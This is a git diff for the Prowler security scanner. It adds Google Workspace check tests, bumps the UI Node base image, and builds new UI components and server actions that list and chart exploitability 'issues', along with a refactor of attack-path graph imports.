+ assert findings[0].status_extended.endswith(
+ "This may be expected because Google session control is not "
+ "available on the Google Workspace Business Standard edition."
+ )
+
+ def test_fail_with_cloud_identity_premium_gives_no_excuse(self):
+ """Cloud Identity Premium brings session control to any Workspace edition"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.editions = ["Business Starter", "Cloud Identity Premium"]
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited.security_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited import (
+ security_session_duration_limited,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = SecurityPolicies(web_session_duration=None)
+
+ findings = security_session_duration_limited().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "This may be expected" not in findings[0].status_extended
+
def test_fail_unparseable_duration(self):
"""Test FAIL when session duration has an unexpected format instead of crashing"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/sites/sites_service_test.py b/tests/providers/googleworkspace/services/sites/sites_service_test.py
index 63a473238d..f381195c3c 100644
--- a/tests/providers/googleworkspace/services/sites/sites_service_test.py
+++ b/tests/providers/googleworkspace/services/sites/sites_service_test.py
@@ -97,6 +97,59 @@ class TestSitesService:
assert sites.policies_fetched is True
assert sites.policies.service_state == "ENABLED"
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/sites.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.00005},
+ "setting": {
+ "type": "settings/sites.service_status",
+ "value": {"serviceState": "ENABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.sites.sites_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.sites.sites_service import (
+ Sites,
+ )
+
+ sites = Sites(mock_provider)
+
+ assert sites.policies_fetched is True
+ assert sites.policies.service_state == "DISABLED"
+
def test_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/ui/.nvmrc b/ui/.nvmrc
index 8dfc5cb1af..ce62013c39 100644
--- a/ui/.nvmrc
+++ b/ui/.nvmrc
@@ -1 +1 @@
-24.18.1
+24.22.1
diff --git a/ui/Dockerfile b/ui/Dockerfile
index 22149a9fa9..35e1f162a4 100644
--- a/ui/Dockerfile
+++ b/ui/Dockerfile
@@ -1,5 +1,5 @@
# Keep in sync with ui/.nvmrc.
-FROM node:24.18.1-alpine@sha256:f70403e87646dc51b45295f4b8b70cdad0b63d2297c4c9899119b03f7af7a6b3 AS base
+FROM node:24.22.1-alpine@sha256:06d7adf3e0ef61a13f1d28682726366f97a15aa1888c934d3ecec86c33918b53 AS base
LABEL maintainer="https://github.com/prowler-cloud"
@@ -7,25 +7,9 @@ LABEL maintainer="https://github.com/prowler-cloud"
# the bundled-npm CVE surface from every stage, incl. prod.
# No blanket apk upgrade: it resolves against Alpine's live repo, so the digest pin
# above would not make the image reproducible. Move the digest forward instead, or
-# take a named package as the targeted exception below.
+# take a named package as a targeted, commented exception.
RUN corepack enable && rm -rf /usr/local/lib/node_modules/npm /usr/local/bin/npm /usr/local/bin/npx
-# High CVEs fixed in Alpine 3.24 but not yet in the pinned base image:
-# libcrypto3/libssl3 3.5.8-r0 CVE-2026-14456, CVE-2026-14457, CVE-2026-18798,
-# CVE-2026-54874, CVE-2026-63072, CVE-2026-63075,
-# CVE-2026-63076 (image ships 3.5.7-r0)
-# The base image pins node 24.18.1, which has not been rebuilt since that package
-# was published, so the upgrade is taken here rather than by moving the pin -- the
-# newest published node:24-alpine (24.19.0, built 2026-08-03) predates the
-# 2026-08-13 advisory and carries the same vulnerable version. libcrypto3 and
-# libssl3 are both built from openssl and are flagged separately, so both are named.
-# `>=` rather than `=`: Alpine keeps only the newest build of a package in a
-# branch's index, so an exact pin breaks this build the day 3.5.8-r0 is superseded.
-# Drop this once the base image ships 3.5.8-r0 or later.
-RUN apk add --no-cache --upgrade \
- "libcrypto3>=3.5.8-r0" \
- "libssl3>=3.5.8-r0"
-
# Install dependencies only when needed
FROM base AS deps
# Check https://github.com/nodejs/docker-node/tree/b4117f9333da4138b03a546ec926ef50a31506c3#nodealpine to understand why libc6-compat might be needed.
diff --git a/ui/actions/issues/index.ts b/ui/actions/issues/index.ts
new file mode 100644
index 0000000000..bd8854f374
--- /dev/null
+++ b/ui/actions/issues/index.ts
@@ -0,0 +1 @@
+export * from "./issues";
diff --git a/ui/actions/issues/issues.adapter.ts b/ui/actions/issues/issues.adapter.ts
new file mode 100644
index 0000000000..017c7b66bf
--- /dev/null
+++ b/ui/actions/issues/issues.adapter.ts
@@ -0,0 +1,46 @@
+import { FindingProps } from "@/types/components";
+import { IssueFinding } from "@/types/issues";
+import { JsonApiDocument, JsonApiResource } from "@/types/jsonapi";
+import { ResourceProps } from "@/types/resources";
+
+interface IssueFindingResource extends Pick {
+ attributes: Pick<
+ FindingProps["attributes"],
+ "check_id" | "check_metadata" | "severity"
+ >;
+ relationships: Pick;
+}
+
+interface IssueFindingsDocument
+ extends JsonApiDocument {
+ included?: JsonApiResource>[];
+}
+
+export const toIssueFindings = (
+ payload: IssueFindingsDocument | undefined,
+): IssueFinding[] | undefined => {
+ if (!Array.isArray(payload?.data)) return undefined;
+ const resourceUids = new Map(
+ (payload.included ?? [])
+ .filter((resource) => resource.type === "resources")
+ .map((resource) => [resource.id, resource.attributes.uid]),
+ );
+
+ return payload.data.flatMap((finding) =>
+ (finding.relationships?.resources?.data ?? []).flatMap((resource) => {
+ const resourceUid = resourceUids.get(resource.id);
+ if (!resourceUid) return [];
+ return [
+ {
+ id: finding.id,
+ checkId: finding.attributes.check_id,
+ checkTitle:
+ finding.attributes.check_metadata?.checktitle ||
+ finding.attributes.check_id,
+ severity: finding.attributes.severity,
+ resourceUid,
+ },
+ ];
+ }),
+ );
+};
diff --git a/ui/actions/issues/issues.test.ts b/ui/actions/issues/issues.test.ts
new file mode 100644
index 0000000000..4286ad6064
--- /dev/null
+++ b/ui/actions/issues/issues.test.ts
@@ -0,0 +1,121 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const { fetchMock, getAuthHeadersMock, handleApiResponseMock } = vi.hoisted(
+ () => ({
+ fetchMock: vi.fn(),
+ getAuthHeadersMock: vi.fn(),
+ handleApiResponseMock: vi.fn(),
+ }),
+);
+
+vi.mock("@/lib", () => ({
+ apiBaseUrl: "https://api.example.com/api/v1",
+ getAuthHeaders: getAuthHeadersMock,
+}));
+
+vi.mock("@/lib/server-actions-helper", () => ({
+ handleApiResponse: handleApiResponseMock,
+}));
+
+import {
+ getIssue,
+ getIssueFindings,
+ getIssues,
+ getIssuesOverview,
+} from "./issues";
+
+describe("issues actions", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ vi.stubGlobal("fetch", fetchMock);
+ getAuthHeadersMock.mockResolvedValue({ Authorization: "Bearer token" });
+ fetchMock.mockResolvedValue(new Response("", { status: 500 }));
+ // handleApiResponse rejects on a 5xx; the action must catch it.
+ handleApiResponseMock.mockRejectedValue(new Error("Server error"));
+ vi.spyOn(console, "error").mockImplementation(() => {});
+ });
+
+ it("getIssues returns undefined when the API answers 500", async () => {
+ await expect(getIssues()).resolves.toBeUndefined();
+ });
+
+ it("getIssue returns undefined when the API answers 500", async () => {
+ await expect(getIssue("issue-1")).resolves.toBeUndefined();
+ });
+
+ it("getIssuesOverview returns undefined when the API answers 500", async () => {
+ await expect(getIssuesOverview()).resolves.toBeUndefined();
+ });
+
+ it("loads folded findings from the exact scan and maps all associated resources", async () => {
+ // Given
+ handleApiResponseMock.mockResolvedValue({
+ data: [
+ {
+ id: "finding-1",
+ attributes: {
+ check_id: "ssh",
+ severity: "critical",
+ check_metadata: { checktitle: "SSH exposed" },
+ },
+ relationships: { resources: { data: [{ id: "r1" }, { id: "r2" }] } },
+ },
+ ],
+ included: [
+ { type: "resources", id: "r1", attributes: { uid: "instance" } },
+ { type: "resources", id: "r2", attributes: { uid: "security-group" } },
+ ],
+ });
+
+ // When
+ const findings = await getIssueFindings("issue-scan", ["finding-uid"]);
+
+ // Then
+ const url = new URL(fetchMock.mock.calls[0][0]);
+ expect(url.pathname).toBe("/api/v1/findings");
+ expect(url.searchParams.get("filter[scan]")).toBe("issue-scan");
+ expect(url.searchParams.get("filter[uid__in]")).toBe("finding-uid");
+ expect(url.searchParams.get("include")).toBe("resources");
+ expect(findings).toEqual(
+ ["instance", "security-group"].map((resourceUid) => ({
+ id: "finding-1",
+ checkId: "ssh",
+ checkTitle: "SSH exposed",
+ severity: "critical",
+ resourceUid,
+ })),
+ );
+ });
+
+ it("caps unique finding UIDs at 50", async () => {
+ // Given
+ handleApiResponseMock.mockResolvedValue({ data: [] });
+ const uids = Array.from({ length: 60 }, (_, index) => `uid-${index}`);
+ // When
+ await getIssueFindings("scan-1", [uids[0], ...uids]);
+ // Then
+ const url = new URL(fetchMock.mock.calls[0][0]);
+ expect(url.searchParams.get("filter[uid__in]")).toBe(
+ uids.slice(0, 50).join(","),
+ );
+ expect(url.searchParams.get("page[size]")).toBe("50");
+ });
+
+ it("does not issue an unfiltered request for an empty list or missing scan", async () => {
+ await expect(getIssueFindings("scan-1", [])).resolves.toEqual([]);
+ await expect(getIssueFindings("", ["uid-1"])).resolves.toBeUndefined();
+ expect(fetchMock).not.toHaveBeenCalled();
+ });
+
+ it("distinguishes API failures from an empty set of findings", async () => {
+ await expect(
+ getIssueFindings("scan-1", ["uid-1"]),
+ ).resolves.toBeUndefined();
+ handleApiResponseMock.mockResolvedValueOnce({
+ errors: [{ status: "403" }],
+ });
+ await expect(
+ getIssueFindings("scan-1", ["uid-1"]),
+ ).resolves.toBeUndefined();
+ });
+});
diff --git a/ui/actions/issues/issues.ts b/ui/actions/issues/issues.ts
new file mode 100644
index 0000000000..a32d354570
--- /dev/null
+++ b/ui/actions/issues/issues.ts
@@ -0,0 +1,122 @@
+"use server";
+
+import { apiBaseUrl, getAuthHeaders } from "@/lib";
+import { handleApiResponse } from "@/lib/server-actions-helper";
+import {
+ ISSUE_FINDINGS_LIMIT,
+ IssueDetailResponse,
+ IssueFinding,
+ IssueResponse,
+ IssuesOverviewResponse,
+} from "@/types/issues";
+
+import { toIssueFindings } from "./issues.adapter";
+
+const withFilters = (
+ url: URL,
+ filters: Record,
+) => {
+ Object.entries(filters).forEach(([key, value]) => {
+ if (key === "filter[search]" || value === undefined) return;
+ // `__in` filters take one comma-separated value (filter[verdict__in]=a,b);
+ // a repeated param would keep only the last value.
+ url.searchParams.set(key, Array.isArray(value) ? value.join(",") : value);
+ });
+};
+
+export const getIssuesOverview = async ({
+ filters = {},
+}: {
+ filters?: Record;
+} = {}): Promise => {
+ const headers = await getAuthHeaders({ contentType: false });
+ const url = new URL(`${apiBaseUrl}/issues/overview`);
+ withFilters(url, filters);
+
+ try {
+ const response = await fetch(url.toString(), { headers });
+ return await handleApiResponse(response);
+ } catch (error) {
+ console.error("Error fetching issue verdict summary:", error);
+ return undefined;
+ }
+};
+
+export const getIssues = async ({
+ filters = {},
+ page = 1,
+ pageSize = 10,
+ sort,
+}: {
+ filters?: Record;
+ page?: number;
+ pageSize?: number;
+ /**
+ * Omitted by default on purpose. The API already orders worst verdict
+ * first, and restating it here meant the two could disagree — which they
+ * did: a stale `sort=verdict` became invalid when ordering moved to
+ * `verdict_rank`, and the list silently came back empty while the counts
+ * beside it still rendered.
+ */
+ sort?: string;
+} = {}): Promise => {
+ const headers = await getAuthHeaders({ contentType: false });
+ const url = new URL(`${apiBaseUrl}/issues`);
+ url.searchParams.append("page[number]", String(page));
+ url.searchParams.append("page[size]", String(pageSize));
+ if (sort) url.searchParams.append("sort", sort);
+ withFilters(url, filters);
+
+ try {
+ const response = await fetch(url.toString(), { headers });
+ return await handleApiResponse(response);
+ } catch (error) {
+ console.error("Error fetching issues:", error);
+ return undefined;
+ }
+};
+
+export const getIssue = async (
+ id: string,
+): Promise => {
+ const headers = await getAuthHeaders({ contentType: false });
+ const url = new URL(`${apiBaseUrl}/issues/${encodeURIComponent(id)}`);
+
+ try {
+ const response = await fetch(url.toString(), { headers });
+ return await handleApiResponse(response);
+ } catch (error) {
+ console.error("Error fetching issue:", error);
+ return undefined;
+ }
+};
+
+/** Load a bounded preview from the issue's exact scan, including every resource association. */
+export const getIssueFindings = async (
+ scanId: string,
+ findingUids: string[],
+): Promise => {
+ if (!scanId) return undefined;
+ const uids = Array.from(new Set(findingUids)).slice(0, ISSUE_FINDINGS_LIMIT);
+ if (uids.length === 0) return [];
+
+ const headers = await getAuthHeaders({ contentType: false });
+ const url = new URL(`${apiBaseUrl}/findings`);
+ url.searchParams.set("filter[scan]", scanId);
+ url.searchParams.set("filter[uid__in]", uids.join(","));
+ url.searchParams.set("include", "resources");
+ url.searchParams.set(
+ "fields[findings]",
+ "check_id,severity,check_metadata,resources",
+ );
+ url.searchParams.set("fields[resources]", "uid");
+ url.searchParams.set("page[size]", String(uids.length));
+
+ try {
+ const response = await fetch(url.toString(), { headers });
+ return toIssueFindings(await handleApiResponse(response));
+ } catch (error) {
+ console.error("Error fetching issue findings:", error);
+ return undefined;
+ }
+};
diff --git a/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.skeleton.tsx b/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.skeleton.tsx
new file mode 100644
index 0000000000..df7d5d73ce
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.skeleton.tsx
@@ -0,0 +1,20 @@
+import { Card, CardContent, CardHeader, Skeleton } from "@/components/shadcn";
+
+export function ExploitabilityChartSkeleton() {
+ return (
+
+
+
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.test.tsx b/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.test.tsx
new file mode 100644
index 0000000000..76ad0e3d31
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.test.tsx
@@ -0,0 +1,48 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+
+import { ExploitabilityChart } from "./exploitability-chart";
+
+describe("ExploitabilityChart", () => {
+ it("leads with exploitable + likely and links each verdict into the list", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByText("12 issues")).toBeInTheDocument();
+ expect(
+ screen.getByRole("link", { name: "3 exploitable or likely issues" }),
+ ).toHaveAttribute(
+ "href",
+ "/issues?filter%5Bprovider_type__in%5D=aws&filter%5Bverdict__in%5D=exploitable%2Clikely",
+ );
+ expect(screen.getByText("0 exploitable · 3 likely")).toBeInTheDocument();
+ expect(
+ screen.getByRole("link", { name: "4 not exploitable issues" }),
+ ).toHaveAttribute(
+ "href",
+ "/issues?filter%5Bprovider_type__in%5D=aws&filter%5Bverdict%5D=not_exploitable",
+ );
+ expect(
+ screen.getByRole("link", { name: "4 conditional issues" }),
+ ).toHaveAttribute(
+ "href",
+ "/issues?filter%5Bprovider_type__in%5D=aws&filter%5Bverdict%5D=conditional",
+ );
+ expect(
+ screen.getByText("37 failed findings folded into 12 issues"),
+ ).toBeInTheDocument();
+ });
+});
diff --git a/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.tsx b/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.tsx
new file mode 100644
index 0000000000..a30a3093b6
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/_components/exploitability-chart.tsx
@@ -0,0 +1,118 @@
+import { TriangleAlert } from "lucide-react";
+import Link from "next/link";
+
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/shadcn";
+import { issuesHref } from "@/lib/issues/scope";
+import { VERDICT_TONE, VERDICTS, VerdictTone } from "@/lib/issues/verdicts";
+import { cn } from "@/lib/utils";
+import { Verdict } from "@/types/issues";
+
+interface ExploitabilityChartProps {
+ counts: Record;
+ issues: number;
+ findings: number;
+ actionable: number;
+ /** Overview scope, carried into every drill-down so the counts still match. */
+ scope: Record;
+}
+
+/** The verdicts below the headline, in the order the card lists them. */
+const REST: Verdict[] = ["conditional", "unknown", "not_exploitable"];
+
+/** The dot each verdict row wears. */
+const TONE_DOT: Record = {
+ [VERDICT_TONE.fail]: "bg-bg-fail",
+ [VERDICT_TONE.warning]: "bg-bg-data-medium",
+ [VERDICT_TONE.pass]: "bg-bg-pass",
+ [VERDICT_TONE.neutral]: "bg-bg-data-muted",
+};
+
+/**
+ * The fold, sized for the ThreatScore row.
+ *
+ * The headline is exploitable + likely — the issues someone should look at
+ * tonight — on a red surface. Everything else is work, not an incident, so it
+ * sits as a quiet list underneath. Every number links into the issue list, so
+ * nothing here is a dead end.
+ */
+export const ExploitabilityChart = ({
+ counts,
+ issues,
+ findings,
+ actionable,
+ scope,
+}: ExploitabilityChartProps) => {
+ return (
+
+
+ Exploitability
+
+ {issues.toLocaleString()} {issues === 1 ? "issue" : "issues"}
+
+
+
+
+
+
+
+
+ Exploitable or likely
+
+
+ {counts.exploitable} exploitable · {counts.likely} likely
+
+
+
+ {actionable.toLocaleString()}
+
+
+
+
+
+ {REST.map((id) => {
+ const verdict = VERDICTS.find((item) => item.id === id);
+ return (
+
+
+
+ {verdict?.label ?? id}
+
+ {counts[id].toLocaleString()}
+
+
+
+ );
+ })}
+
+
+
+ {/* The fold. Without the findings count the issue count says nothing
+ about how much noise was removed, so the two are always shown
+ together. */}
+
+ {findings.toLocaleString()} failed findings folded into{" "}
+ {issues.toLocaleString()} {issues === 1 ? "issue" : "issues"}
+
+
+
+ );
+};
diff --git a/ui/app/(prowler)/_overview/exploitability/_components/top-issues.skeleton.tsx b/ui/app/(prowler)/_overview/exploitability/_components/top-issues.skeleton.tsx
new file mode 100644
index 0000000000..a0434a0398
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/_components/top-issues.skeleton.tsx
@@ -0,0 +1,19 @@
+import { Card, CardContent, Skeleton } from "@/components/shadcn";
+
+export function TopIssuesSkeleton() {
+ return (
+
+
+
+ {Array.from({ length: 5 }).map((_, index) => (
+
+ ))}
+
+
+ );
+}
diff --git a/ui/app/(prowler)/_overview/exploitability/_components/top-issues.tsx b/ui/app/(prowler)/_overview/exploitability/_components/top-issues.tsx
new file mode 100644
index 0000000000..c53bf8f799
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/_components/top-issues.tsx
@@ -0,0 +1,84 @@
+import Link from "next/link";
+
+import { IssuesLoadError } from "@/components/issues/issues-load-error";
+import { Card, CardContent, CardTitle } from "@/components/shadcn";
+import { Badge } from "@/components/shadcn/badge/badge";
+import { Button } from "@/components/shadcn/button/button";
+import { issuesHref } from "@/lib/issues/scope";
+import { VERDICTS } from "@/lib/issues/verdicts";
+import { IssueResource } from "@/types/issues";
+
+interface TopIssuesProps {
+ issues: IssueResource[] | null;
+ scope: Record;
+}
+
+/**
+ * The worst issues in scope, each on its own tile. Two tiles per row once the
+ * charts column is wide enough; the list is short, so a single column would
+ * leave most of the card empty on desktop.
+ */
+export const TopIssues = ({ issues, scope }: TopIssuesProps) => (
+
+ Top issues
+
+ {issues === null ? (
+
+ ) : issues.length > 0 ? (
+
+ {issues.map(({ id, attributes, relationships }) => {
+ const verdict = VERDICTS.find(
+ (item) => item.id === attributes.verdict,
+ );
+ const providerId = relationships?.provider?.data?.id;
+ return (
+
+
+
+
+ {verdict?.label ?? attributes.verdict}
+
+
+ {attributes.findings_count}{" "}
+ {attributes.findings_count === 1 ? "finding" : "findings"}
+
+
+
+
+
+ {attributes.title}
+
+
+
+ {attributes.account}
+
+
+
+
+ );
+ })}
+
+ ) : (
+
+ No issues in this scope.
+
+ )}
+
+ View all issues
+
+
+
+);
diff --git a/ui/app/(prowler)/_overview/exploitability/exploitability-chart.ssr.tsx b/ui/app/(prowler)/_overview/exploitability/exploitability-chart.ssr.tsx
new file mode 100644
index 0000000000..3e7aeb848f
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/exploitability-chart.ssr.tsx
@@ -0,0 +1,35 @@
+import { getIssuesOverview } from "@/actions/issues";
+import { IssuesLoadError } from "@/components/issues/issues-load-error";
+import { Card } from "@/components/shadcn/card/card";
+import { pickIssueScope } from "@/lib/issues/scope";
+import { verdictCounts } from "@/lib/issues/verdicts";
+
+import { SSRComponentProps } from "../_types";
+
+import { ExploitabilityChart } from "./_components/exploitability-chart";
+
+export const ExploitabilityChartSSR = async ({
+ searchParams,
+}: SSRComponentProps) => {
+ const filters = pickIssueScope(searchParams);
+ const summary = await getIssuesOverview({ filters });
+
+ const attributes = summary?.data?.attributes;
+ if (!attributes) {
+ return (
+
+
+
+ );
+ }
+
+ return (
+
+ );
+};
diff --git a/ui/app/(prowler)/_overview/exploitability/index.ts b/ui/app/(prowler)/_overview/exploitability/index.ts
new file mode 100644
index 0000000000..9992e497fa
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/index.ts
@@ -0,0 +1,5 @@
+export { ExploitabilityChart } from "./_components/exploitability-chart";
+export { ExploitabilityChartSkeleton } from "./_components/exploitability-chart.skeleton";
+export { ExploitabilityChartSSR } from "./exploitability-chart.ssr";
+export { TopIssuesSkeleton } from "./_components/top-issues.skeleton";
+export { TopIssuesSSR } from "./top-issues.ssr";
diff --git a/ui/app/(prowler)/_overview/exploitability/top-issues.ssr.test.tsx b/ui/app/(prowler)/_overview/exploitability/top-issues.ssr.test.tsx
new file mode 100644
index 0000000000..9a19c9a21b
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/top-issues.ssr.test.tsx
@@ -0,0 +1,71 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+
+import { getIssues } from "@/actions/issues";
+
+import { TopIssuesSSR } from "./top-issues.ssr";
+
+vi.mock("@/actions/issues", () => ({ getIssues: vi.fn() }));
+
+vi.mock("next/navigation", () => ({
+ useRouter: () => ({ refresh: vi.fn() }),
+}));
+
+describe("TopIssuesSSR", () => {
+ it("links each issue to its own pattern and account", async () => {
+ vi.mocked(getIssues).mockResolvedValue({
+ data: [
+ {
+ type: "issues",
+ id: "i1",
+ attributes: {
+ pattern: "public_snapshot",
+ account: "aws_testing_1",
+ title: "RDS snapshot is visible to every AWS account",
+ verdict: "likely",
+ findings_count: 1,
+ },
+ relationships: {
+ provider: { data: { type: "providers", id: "p1" } },
+ },
+ },
+ ],
+ } as never);
+
+ render(await TopIssuesSSR({ searchParams: {} }));
+
+ const row = screen.getByRole("link", { name: /RDS snapshot/ });
+ expect(row.closest("li")).toHaveTextContent("Likely");
+ expect(row.closest("li")).toHaveTextContent("aws_testing_1");
+ expect(row.closest("li")).toHaveTextContent("1 finding");
+ expect(row).toHaveAttribute(
+ "href",
+ "/issues?filter%5Bpattern%5D=public_snapshot&filter%5Bprovider_id__in%5D=p1",
+ );
+ expect(
+ screen.getByRole("link", { name: "View all issues" }),
+ ).toHaveAttribute("href", "/issues");
+ });
+
+ it("shows a load error, not 'no attack paths', when the list fails", async () => {
+ vi.mocked(getIssues).mockResolvedValue({
+ error: "Invalid filter",
+ status: 400,
+ } as never);
+
+ render(await TopIssuesSSR({ searchParams: {} }));
+
+ expect(screen.getByRole("alert")).toHaveTextContent(
+ "Failed to load issues.",
+ );
+ expect(screen.queryByText(/No attack paths/)).not.toBeInTheDocument();
+ });
+
+ it("shows the empty state for a successful empty list", async () => {
+ vi.mocked(getIssues).mockResolvedValue({ data: [] } as never);
+
+ render(await TopIssuesSSR({ searchParams: {} }));
+
+ expect(screen.getByText("No issues in this scope.")).toBeInTheDocument();
+ });
+});
diff --git a/ui/app/(prowler)/_overview/exploitability/top-issues.ssr.tsx b/ui/app/(prowler)/_overview/exploitability/top-issues.ssr.tsx
new file mode 100644
index 0000000000..ac54791bee
--- /dev/null
+++ b/ui/app/(prowler)/_overview/exploitability/top-issues.ssr.tsx
@@ -0,0 +1,20 @@
+import { getIssues } from "@/actions/issues";
+import { pickIssueScope } from "@/lib/issues/scope";
+
+import { SSRComponentProps } from "../_types";
+
+import { TopIssues } from "./_components/top-issues";
+
+export const TopIssuesSSR = async ({ searchParams }: SSRComponentProps) => {
+ const scope = pickIssueScope(searchParams);
+ // Worst verdict first is the API default, so the first page is the top.
+ const response = await getIssues({ filters: scope, pageSize: 5 });
+
+ return (
+
+ );
+};
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/index.ts b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/index.ts
deleted file mode 100644
index 52b316d510..0000000000
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/graph/index.ts
+++ /dev/null
@@ -1,5 +0,0 @@
-export type { GraphHandle } from "./attack-path-graph";
-export { AttackPathGraph } from "./attack-path-graph";
-export { GraphControls } from "./graph-controls";
-export { GraphLegend } from "./graph-legend";
-export { GraphLoading } from "./graph-loading";
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/index.ts b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/index.ts
index 83161cc4ef..dceb5584da 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/index.ts
+++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/index.ts
@@ -1,5 +1,5 @@
export { ExecuteButton } from "./execute-button";
-export * from "./graph";
+export * from "@/components/attack-paths/graph";
export * from "./node-detail";
export { QueryDescription } from "./query-description";
export { QueryExecutionError } from "./query-execution-error";
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-detail-panel.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-detail-panel.tsx
index 1e6f013aec..97fbd59ba7 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-detail-panel.tsx
+++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-detail-panel.tsx
@@ -9,10 +9,9 @@ import {
SheetTitle,
} from "@/components/shadcn/sheet/sheet";
import { Spinner } from "@/components/shadcn/spinner/spinner";
+import { isProwlerFindingNode } from "@/lib/attack-paths";
import type { GraphNode } from "@/types/attack-paths";
-import { isProwlerFindingNode } from "../../_lib";
-
import { NodeFindings } from "./node-findings";
import { NodeOverview } from "./node-overview";
import { NodeResources } from "./node-resources";
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-overview.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-overview.tsx
index 1961b43316..d6e9e509cc 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-overview.tsx
+++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_components/node-detail/node-overview.tsx
@@ -3,10 +3,9 @@
import { CodeSnippet } from "@/components/shadcn/code-snippet/code-snippet";
import { DateWithTime } from "@/components/shadcn/entities/date-with-time";
import { InfoField } from "@/components/shadcn/info-field/info-field";
+import { formatNodeLabels, isProwlerFindingNode } from "@/lib/attack-paths";
import type { GraphNode, GraphNodePropertyValue } from "@/types/attack-paths";
-import { formatNodeLabels, isProwlerFindingNode } from "../../_lib";
-
interface NodeOverviewProps {
node: GraphNode;
}
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-graph-state.ts b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-graph-state.ts
index 07dc16a2c8..0f766bd302 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-graph-state.ts
+++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-graph-state.ts
@@ -2,6 +2,7 @@
import { create } from "zustand";
+import { computeFilteredSubgraph } from "@/lib/attack-paths";
import type {
AttackPathGraphData,
AttackPathQueryExecution,
@@ -9,8 +10,6 @@ import type {
GraphState,
} from "@/types/attack-paths";
-import { computeFilteredSubgraph } from "../_lib";
-
interface FilteredViewState {
isFilteredView: boolean;
filteredNodeId: string | null;
diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.harness.ts b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.harness.ts
index e358d9287e..219c08bd61 100644
--- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.harness.ts
+++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.harness.ts
@@ -7,8 +7,8 @@
import { vi } from "vitest";
import { BrowserHarness } from "@/__tests__/browser-harness";
+import { isProwlerFindingNode } from "@/lib/attack-paths";
-import { isProwlerFindingNode } from "./_lib";
import type { PageFixture } from "./attack-paths-page.fixtures";
